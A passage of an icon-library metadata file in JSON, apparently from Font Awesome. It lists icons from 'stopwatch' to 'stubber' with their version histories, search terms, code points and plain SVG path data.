      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["clock", "reminder", "stopwatch", "time"]
    },
    "styles": ["solid"],
    "unicode": "f2f2",
    "label": "Stopwatch",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M176 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h16V98.4C92.3 113.8 16 200 16 304c0 114.9 93.1 208 208 208s208-93.1 208-208c0-41.8-12.3-80.7-33.5-113.2l24.1-24.1c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L355.7 143c-28.1-23-62.2-38.8-99.7-44.6V64h16c17.7 0 32-14.3 32-32s-14.3-32-32-32H224 176zm72 192V320c0 13.3-10.7 24-24 24s-24-10.7-24-24V192c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M176 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h16V98.4C92.3 113.8 16 200 16 304c0 114.9 93.1 208 208 208s208-93.1 208-208c0-41.8-12.3-80.7-33.5-113.2l24.1-24.1c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L355.7 143c-28.1-23-62.2-38.8-99.7-44.6V64h16c17.7 0 32-14.3 32-32s-14.3-32-32-32H224 176zm72 192V320c0 13.3-10.7 24-24 24s-24-10.7-24-24V192c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "stopwatch-20": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e06f"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "ABCs",
        "countdown",
        "covid-19",
        "happy birthday",
        "i will survive",
        "reminder",
        "seconds",
        "time",
        "timer"
      ]
    },
    "styles": ["solid"],
    "unicode": "e06f",
    "label": "Stopwatch 20",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M176 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h16V98.4C92.3 113.8 16 200 16 304c0 114.9 93.1 208 208 208s208-93.1 208-208c0-41.8-12.3-80.7-33.5-113.2l24.1-24.1c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L355.7 143c-28.1-23-62.2-38.8-99.7-44.6V64h16c17.7 0 32-14.3 32-32s-14.3-32-32-32H176zM288 204c28.7 0 52 23.3 52 52v96c0 28.7-23.3 52-52 52s-52-23.3-52-52V256c0-28.7 23.3-52 52-52zm-12 52v96c0 6.6 5.4 12 12 12s12-5.4 12-12V256c0-6.6-5.4-12-12-12s-12 5.4-12 12zM159.5 244c-5.4 0-10.2 3.5-11.9 8.6l-.6 1.7c-3.5 10.5-14.8 16.1-25.3 12.6s-16.1-14.8-12.6-25.3l.6-1.7c7.2-21.5 27.2-35.9 49.8-35.9c29 0 52.5 23.5 52.5 52.5v2.2c0 13.4-4.9 26.4-13.8 36.4l-39 43.9c-6.2 7-10 15.7-10.9 24.9H192c11 0 20 9 20 20s-9 20-20 20H128c-11 0-20-9-20-20V368.3c0-20.6 7.5-40.4 21.2-55.8l39-43.9c2.4-2.7 3.7-6.2 3.7-9.8v-2.2c0-6.9-5.6-12.5-12.5-12.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M176 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h16V98.4C92.3 113.8 16 200 16 304c0 114.9 93.1 208 208 208s208-93.1 208-208c0-41.8-12.3-80.7-33.5-113.2l24.1-24.1c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L355.7 143c-28.1-23-62.2-38.8-99.7-44.6V64h16c17.7 0 32-14.3 32-32s-14.3-32-32-32H176zM288 204c28.7 0 52 23.3 52 52v96c0 28.7-23.3 52-52 52s-52-23.3-52-52V256c0-28.7 23.3-52 52-52zm-12 52v96c0 6.6 5.4 12 12 12s12-5.4 12-12V256c0-6.6-5.4-12-12-12s-12 5.4-12 12zM159.5 244c-5.4 0-10.2 3.5-11.9 8.6l-.6 1.7c-3.5 10.5-14.8 16.1-25.3 12.6s-16.1-14.8-12.6-25.3l.6-1.7c7.2-21.5 27.2-35.9 49.8-35.9c29 0 52.5 23.5 52.5 52.5v2.2c0 13.4-4.9 26.4-13.8 36.4l-39 43.9c-6.2 7-10 15.7-10.9 24.9H192c11 0 20 9 20 20s-9 20-20 20H128c-11 0-20-9-20-20V368.3c0-20.6 7.5-40.4 21.2-55.8l39-43.9c2.4-2.7 3.7-6.2 3.7-9.8v-2.2c0-6.9-5.6-12.5-12.5-12.5z"
      }
    },
    "free": ["solid"]
  },
  "store": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f54e"]
      }
    },
    "changes": [
      "5.0.13",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bodega",
        "building",
        "buy",
        "market",
        "purchase",
        "shopping",
        "store"
      ]
    },
    "styles": ["solid"],
    "unicode": "f54e",
    "label": "Store",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M547.6 103.8L490.3 13.1C485.2 5 476.1 0 466.4 0H109.6C99.9 0 90.8 5 85.7 13.1L28.3 103.8c-29.6 46.8-3.4 111.9 51.9 119.4c4 .5 8.1 .8 12.1 .8c26.1 0 49.3-11.4 65.2-29c15.9 17.6 39.1 29 65.2 29c26.1 0 49.3-11.4 65.2-29c15.9 17.6 39.1 29 65.2 29c26.2 0 49.3-11.4 65.2-29c16 17.6 39.1 29 65.2 29c4.1 0 8.1-.3 12.1-.8c55.5-7.4 81.8-72.5 52.1-119.4zM499.7 254.9l-.1 0c-5.3 .7-10.7 1.1-16.2 1.1c-12.4 0-24.3-1.9-35.4-5.3V384H128V250.6c-11.2 3.5-23.2 5.4-35.6 5.4c-5.5 0-11-.4-16.3-1.1l-.1 0c-4.1-.6-8.1-1.3-12-2.3V384v64c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V384 252.6c-4 1-8 1.8-12.3 2.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M547.6 103.8L490.3 13.1C485.2 5 476.1 0 466.4 0H109.6C99.9 0 90.8 5 85.7 13.1L28.3 103.8c-29.6 46.8-3.4 111.9 51.9 119.4c4 .5 8.1 .8 12.1 .8c26.1 0 49.3-11.4 65.2-29c15.9 17.6 39.1 29 65.2 29c26.1 0 49.3-11.4 65.2-29c15.9 17.6 39.1 29 65.2 29c26.2 0 49.3-11.4 65.2-29c16 17.6 39.1 29 65.2 29c4.1 0 8.1-.3 12.1-.8c55.5-7.4 81.8-72.5 52.1-119.4zM499.7 254.9l-.1 0c-5.3 .7-10.7 1.1-16.2 1.1c-12.4 0-24.3-1.9-35.4-5.3V384H128V250.6c-11.2 3.5-23.2 5.4-35.6 5.4c-5.5 0-11-.4-16.3-1.1l-.1 0c-4.1-.6-8.1-1.3-12-2.3V384v64c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V384 252.6c-4 1-8 1.8-12.3 2.3z"
      }
    },
    "free": ["solid"]
  },
  "store-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e071"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "buy", "closed", "covid-19", "purchase", "shopping"]
    },
    "styles": ["solid"],
    "unicode": "e071",
    "label": "Store Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-86.8-68V384 252.6c-4 1-8 1.8-12.3 2.3l-.1 0c-5.3 .7-10.7 1.1-16.2 1.1c-12.4 0-24.3-1.9-35.4-5.3V350.9L301.2 210.7c7-4.4 13.3-9.7 18.8-15.7c15.9 17.6 39.1 29 65.2 29c26.2 0 49.3-11.4 65.2-29c16 17.6 39.1 29 65.2 29c4.1 0 8.1-.3 12.1-.8c55.5-7.4 81.8-72.5 52.1-119.4L522.3 13.1C517.2 5 508.1 0 498.4 0H141.6c-9.7 0-18.8 5-23.9 13.1l-22.7 36L38.8 5.1zm73.4 218.1c4 .5 8.1 .8 12.1 .8c11 0 21.4-2 31-5.6L48.9 134.5c-6.1 40.6 19.5 82.8 63.3 88.7zM160 384V250.6c-11.2 3.5-23.2 5.4-35.6 5.4c-5.5 0-11-.4-16.3-1.1l-.1 0c-4.1-.6-8.1-1.3-12-2.3V384v64c0 35.3 28.7 64 64 64H480c12.9 0 24.8-3.8 34.9-10.3L365.5 384H160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-86.8-68V384 252.6c-4 1-8 1.8-12.3 2.3l-.1 0c-5.3 .7-10.7 1.1-16.2 1.1c-12.4 0-24.3-1.9-35.4-5.3V350.9L301.2 210.7c7-4.4 13.3-9.7 18.8-15.7c15.9 17.6 39.1 29 65.2 29c26.2 0 49.3-11.4 65.2-29c16 17.6 39.1 29 65.2 29c4.1 0 8.1-.3 12.1-.8c55.5-7.4 81.8-72.5 52.1-119.4L522.3 13.1C517.2 5 508.1 0 498.4 0H141.6c-9.7 0-18.8 5-23.9 13.1l-22.7 36L38.8 5.1zm73.4 218.1c4 .5 8.1 .8 12.1 .8c11 0 21.4-2 31-5.6L48.9 134.5c-6.1 40.6 19.5 82.8 63.3 88.7zM160 384V250.6c-11.2 3.5-23.2 5.4-35.6 5.4c-5.5 0-11-.4-16.3-1.1l-.1 0c-4.1-.6-8.1-1.3-12-2.3V384v64c0 35.3 28.7 64 64 64H480c12.9 0 24.8-3.8 34.9-10.3L365.5 384H160z"
      }
    },
    "free": ["solid"]
  },
  "strava": {
    "changes": ["5.0.0", "5.0.1", "5.7.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f428",
    "label": "Strava",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z"
      }
    },
    "free": ["brands"]
  },
  "street-view": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f21d"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["directions", "location", "map", "navigation"]
    },
    "styles": ["solid"],
    "unicode": "f21d",
    "label": "Street View",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M320 64A64 64 0 1 0 192 64a64 64 0 1 0 128 0zm-96 96c-35.3 0-64 28.7-64 64v48c0 17.7 14.3 32 32 32h1.8l11.1 99.5c1.8 16.2 15.5 28.5 31.8 28.5h38.7c16.3 0 30-12.3 31.8-28.5L318.2 304H320c17.7 0 32-14.3 32-32V224c0-35.3-28.7-64-64-64H224zM132.3 394.2c13-2.4 21.7-14.9 19.3-27.9s-14.9-21.7-27.9-19.3c-32.4 5.9-60.9 14.2-82 24.8c-10.5 5.3-20.3 11.7-27.8 19.6C6.4 399.5 0 410.5 0 424c0 21.4 15.5 36.1 29.1 45c14.7 9.6 34.3 17.3 56.4 23.4C130.2 504.7 190.4 512 256 512s125.8-7.3 170.4-19.6c22.1-6.1 41.8-13.8 56.4-23.4c13.7-8.9 29.1-23.6 29.1-45c0-13.5-6.4-24.5-14-32.6c-7.5-7.9-17.3-14.3-27.8-19.6c-21-10.6-49.5-18.9-82-24.8c-13-2.4-25.5 6.3-27.9 19.3s6.3 25.5 19.3 27.9c30.2 5.5 53.7 12.8 69 20.5c3.2 1.6 5.8 3.1 7.9 4.5c3.6 2.4 3.6 7.2 0 9.6c-8.8 5.7-23.1 11.8-43 17.3C374.3 457 318.5 464 256 464s-118.3-7-157.7-17.9c-19.9-5.5-34.2-11.6-43-17.3c-3.6-2.4-3.6-7.2 0-9.6c2.1-1.4 4.8-2.9 7.9-4.5c15.3-7.7 38.8-14.9 69-20.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M320 64A64 64 0 1 0 192 64a64 64 0 1 0 128 0zm-96 96c-35.3 0-64 28.7-64 64v48c0 17.7 14.3 32 32 32h1.8l11.1 99.5c1.8 16.2 15.5 28.5 31.8 28.5h38.7c16.3 0 30-12.3 31.8-28.5L318.2 304H320c17.7 0 32-14.3 32-32V224c0-35.3-28.7-64-64-64H224zM132.3 394.2c13-2.4 21.7-14.9 19.3-27.9s-14.9-21.7-27.9-19.3c-32.4 5.9-60.9 14.2-82 24.8c-10.5 5.3-20.3 11.7-27.8 19.6C6.4 399.5 0 410.5 0 424c0 21.4 15.5 36.1 29.1 45c14.7 9.6 34.3 17.3 56.4 23.4C130.2 504.7 190.4 512 256 512s125.8-7.3 170.4-19.6c22.1-6.1 41.8-13.8 56.4-23.4c13.7-8.9 29.1-23.6 29.1-45c0-13.5-6.4-24.5-14-32.6c-7.5-7.9-17.3-14.3-27.8-19.6c-21-10.6-49.5-18.9-82-24.8c-13-2.4-25.5 6.3-27.9 19.3s6.3 25.5 19.3 27.9c30.2 5.5 53.7 12.8 69 20.5c3.2 1.6 5.8 3.1 7.9 4.5c3.6 2.4 3.6 7.2 0 9.6c-8.8 5.7-23.1 11.8-43 17.3C374.3 457 318.5 464 256 464s-118.3-7-157.7-17.9c-19.9-5.5-34.2-11.6-43-17.3c-3.6-2.4-3.6-7.2 0-9.6c2.1-1.4 4.8-2.9 7.9-4.5c15.3-7.7 38.8-14.9 69-20.5z"
      }
    },
    "free": ["solid"]
  },
  "strikethrough": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0cc"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["cancel", "edit", "font", "format", "text", "type"]
    },
    "styles": ["solid"],
    "unicode": "f0cc",
    "label": "Strikethrough",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M161.3 144c3.2-17.2 14-30.1 33.7-38.6c21.1-9 51.8-12.3 88.6-6.5c11.9 1.9 48.8 9.1 60.1 12c17.1 4.5 34.6-5.6 39.2-22.7s-5.6-34.6-22.7-39.2c-14.3-3.8-53.6-11.4-66.6-13.4c-44.7-7-88.3-4.2-123.7 10.9c-36.5 15.6-64.4 44.8-71.8 87.3c-.1 .6-.2 1.1-.2 1.7c-2.8 23.9 .5 45.6 10.1 64.6c4.5 9 10.2 16.9 16.7 23.9H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H270.1c-.1 0-.3-.1-.4-.1l-1.1-.3c-36-10.8-65.2-19.6-85.2-33.1c-9.3-6.3-15-12.6-18.2-19.1c-3.1-6.1-5.2-14.6-3.8-27.4zM348.9 337.2c2.7 6.5 4.4 15.8 1.9 30.1c-3 17.6-13.8 30.8-33.9 39.4c-21.1 9-51.7 12.3-88.5 6.5c-18-2.9-49.1-13.5-74.4-22.1c-5.6-1.9-11-3.7-15.9-5.4c-16.8-5.6-34.9 3.5-40.5 20.3s3.5 34.9 20.3 40.5c3.6 1.2 7.9 2.7 12.7 4.3l0 0 0 0c24.9 8.5 63.6 21.7 87.6 25.6l0 0 .2 0c44.7 7 88.3 4.2 123.7-10.9c36.5-15.6 64.4-44.8 71.8-87.3c3.6-21 2.7-40.4-3.1-58.1H335.1c7 5.6 11.4 11.2 13.9 17.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M161.3 144c3.2-17.2 14-30.1 33.7-38.6c21.1-9 51.8-12.3 88.6-6.5c11.9 1.9 48.8 9.1 60.1 12c17.1 4.5 34.6-5.6 39.2-22.7s-5.6-34.6-22.7-39.2c-14.3-3.8-53.6-11.4-66.6-13.4c-44.7-7-88.3-4.2-123.7 10.9c-36.5 15.6-64.4 44.8-71.8 87.3c-.1 .6-.2 1.1-.2 1.7c-2.8 23.9 .5 45.6 10.1 64.6c4.5 9 10.2 16.9 16.7 23.9H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H270.1c-.1 0-.3-.1-.4-.1l-1.1-.3c-36-10.8-65.2-19.6-85.2-33.1c-9.3-6.3-15-12.6-18.2-19.1c-3.1-6.1-5.2-14.6-3.8-27.4zM348.9 337.2c2.7 6.5 4.4 15.8 1.9 30.1c-3 17.6-13.8 30.8-33.9 39.4c-21.1 9-51.7 12.3-88.5 6.5c-18-2.9-49.1-13.5-74.4-22.1c-5.6-1.9-11-3.7-15.9-5.4c-16.8-5.6-34.9 3.5-40.5 20.3s3.5 34.9 20.3 40.5c3.6 1.2 7.9 2.7 12.7 4.3l0 0 0 0c24.9 8.5 63.6 21.7 87.6 25.6l0 0 .2 0c44.7 7 88.3 4.2 123.7-10.9c36.5-15.6 64.4-44.8 71.8-87.3c3.6-21 2.7-40.4-3.1-58.1H335.1c7 5.6 11.4 11.2 13.9 17.2z"
      }
    },
    "free": ["solid"]
  },
  "stripe": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f429",
    "label": "Stripe",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z"
      }
    },
    "free": ["brands"]
  },
  "stripe-s": {
    "changes": ["5.0.1", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f42a",
    "label": "Stripe S",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z"
      }
    },
    "free": ["brands"]
  },
  "stroopwafel": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f551"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["caramel", "cookie", "dessert", "sweets", "waffle"]
    },
    "styles": ["solid"],
    "unicode": "f551",
    "label": "Stroopwafel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM312.6 63.7c-6.2-6.2-16.4-6.2-22.6 0L256 97.6 222.1 63.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l33.9 33.9-45.3 45.3-56.6-56.6c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l56.6 56.6-45.3 45.3L86.3 199.4c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L97.6 256 63.7 289.9c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l33.9-33.9 45.3 45.3-56.6 56.6c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l56.6-56.6 45.3 45.3-33.9 33.9c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L256 414.4l33.9 33.9c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-33.9-33.9 45.3-45.3 56.6 56.6c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-56.6-56.6 45.3-45.3 33.9 33.9c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L414.4 256l33.9-33.9c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-33.9 33.9-45.3-45.3 56.6-56.6c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-56.6 56.6-45.3-45.3 33.9-33.9c6.2-6.2 6.2-16.4 0-22.6zM142.9 256l45.3-45.3L233.4 256l-45.3 45.3L142.9 256zm67.9 67.9L256 278.6l45.3 45.3L256 369.1l-45.3-45.3zM278.6 256l45.3-45.3L369.1 256l-45.3 45.3L278.6 256zm22.6-67.9L256 233.4l-45.3-45.3L256 142.9l45.3 45.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM312.6 63.7c-6.2-6.2-16.4-6.2-22.6 0L256 97.6 222.1 63.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l33.9 33.9-45.3 45.3-56.6-56.6c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l56.6 56.6-45.3 45.3L86.3 199.4c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L97.6 256 63.7 289.9c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l33.9-33.9 45.3 45.3-56.6 56.6c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l56.6-56.6 45.3 45.3-33.9 33.9c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L256 414.4l33.9 33.9c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-33.9-33.9 45.3-45.3 56.6 56.6c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-56.6-56.6 45.3-45.3 33.9 33.9c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L414.4 256l33.9-33.9c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-33.9 33.9-45.3-45.3 56.6-56.6c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-56.6 56.6-45.3-45.3 33.9-33.9c6.2-6.2 6.2-16.4 0-22.6zM142.9 256l45.3-45.3L233.4 256l-45.3 45.3L142.9 256zm67.9 67.9L256 278.6l45.3 45.3L256 369.1l-45.3-45.3zM278.6 256l45.3-45.3L369.1 256l-45.3 45.3L278.6 256zm22.6-67.9L256 233.4l-45.3-45.3L256 142.9l45.3 45.3z"
      }
    },
    "free": ["solid"]
  },
  "stubber": {
    "changes": ["6.2.1", "6.3.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e5c7",
    "label": "Stubber",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1667828915,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M136.5 294.2l58.8 22.9c9.1-36.8 25.4-61.1 55-61.1c49.4 0 71.4 63.6 142.4 63.6c15.6 0 35.9-2.8 55.3-13.3V368c0 61.8-50.4 112-112.3 112H0l41.8-56L0 368l41.7-56L0 256.1l41.8-56L0 144.1 41.8 88 0 32H335.7C397.6 32 448 82.3 448 144.1v51.3c-9.2 36.3-25.9 60.6-55 60.6c-49.6 0-71.6-63.5-142.4-63.5c-35.9 0-95.2 14.6-114.1 101.6h0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
